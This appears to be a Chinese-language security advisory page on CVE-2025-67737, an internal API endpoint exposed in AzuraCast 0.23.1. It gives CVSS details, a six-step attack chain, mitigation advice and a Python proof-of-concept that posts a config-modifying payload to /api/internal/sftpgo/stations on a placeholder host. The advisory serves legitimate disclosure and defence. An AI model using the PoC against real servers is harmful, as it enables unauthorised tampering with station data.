IPBUF安全漏洞报告
English
CVE-2025-67737 CVSS 3.1 低危

CVE-2025-67737: AzuraCast内部API端点暴露漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-67737
漏洞类型
API误配置/内部端点暴露
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AzuraCast

相关标签

AzuraCastAPI误配置内部端点暴露SFTP数据库操作权限控制不当CVE-2025-67737

漏洞概述

AzuraCast是一款自托管的一体化网络广播管理套件。在0.23.1版本中,开发人员错误地将原本仅供内部SFTP软件sftpgo使用的API端点暴露到了面向公众的HTTP API接口中。这一配置失误使得具有特定内部知识的用户能够通过精心构造的HTTP请求,影响电台站的数据库内容,而不会直接泄露电台站的内部信息。攻击成功的关键前提是攻击者需要掌握有效的SFTP电台用户名以及协调的内部文件系统结构信息。该漏洞已在0.23.2版本中得到修复。由于CVSS评分为3.1(低危),且攻击复杂度较高、需要用户交互,因此实际利用风险相对可控,但仍建议相关用户及时更新以消除潜在威胁。

技术细节

漏洞根因在于AzuraCast 0.23.1版本的路由配置错误。系统将sftpgo内部通信所使用的API端点错误地绑定到了公共HTTP API路由上,导致这些本应仅在内部服务间通信的接口可以被外部HTTP请求访问。攻击者需要了解以下信息才能成功利用:1)有效的SFTP station用户名;2)内部文件系统的目录结构和组织方式。攻击者通过构造带有特定参数的HTTP请求,发送到暴露的内部API端点,可以触发数据库操作,影响电台站的配置或播放列表等数据内容。由于该端点设计时未考虑外部访问场景,因此缺乏适当的安全防护机制如CSRF令牌验证或额外的身份认证层。攻击者无法通过此漏洞直接获取敏感信息如密码或完整数据库内容,但可以间接影响系统的数据完整性。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统为AzuraCast,并确定其版本号为0.23.1
STEP 2
端点发现
通过扫描或已知信息,发现暴露的内部API端点/api/internal/sftpgo/
STEP 3
凭证获取
攻击者获取有效的SFTP station用户名(可通过社会工程、弱密码猜测或其他信息泄露途径)
STEP 4
结构探测
利用内部文件系统结构知识,构造针对数据库操作的API请求参数
STEP 5
攻击执行
发送精心构造的HTTP请求到暴露的内部端点,触发数据库内容修改操作
STEP 6
结果验证
检查电台站配置是否被篡改,确认攻击成功

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-67737 PoC - AzuraCast Internal API Exposure # Note: Requires valid SFTP station username and knowledge of internal filesystem structure TARGET_URL = "https://target-azuracast.example.com" SFTP_USERNAME = "station_admin" # Requires valid SFTP username INTERNAL_PATH = "/radio/stations/config" # Internal filesystem knowledge required def exploit_cve_2025_67737(): """ This PoC demonstrates the internal API endpoint exposure in AzuraCast 0.23.1 The endpoint should not be accessible from the public HTTP API. """ headers = { "Content-Type": "application/json", "User-Agent": "AzuraCast/0.23.1" } # Exposed internal API endpoint (should be internal only) exploit_url = f"{TARGET_URL}/api/internal/sftpgo/stations" payload = { "username": SFTP_USERNAME, "path": INTERNAL_PATH, "operation": "modify_config", "data": { "station_name": "Modified by Attacker" } } try: response = requests.post(exploit_url, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Internal API endpoint is exposed!") print("[+] Database modification may have been attempted") else: print("[-] Request failed or endpoint not accessible") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-67737 PoC - AzuraCast Internal API Exposure") print("Target: AzuraCast versions < 0.23.2") exploit_cve_2025_67737()

影响范围

AzuraCast 0.23.1

防御指南

临时缓解措施
作为临时缓解措施,可通过Web服务器(如Nginx)的配置规则阻止对/api/internal/路径的外部访问,将该路径限制为仅允许来自localhost的请求。同时建议审查所有SFTP账户的密码强度,确保使用复杂密码或SSH密钥,并考虑暂时禁用不必要的SFTP用户直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表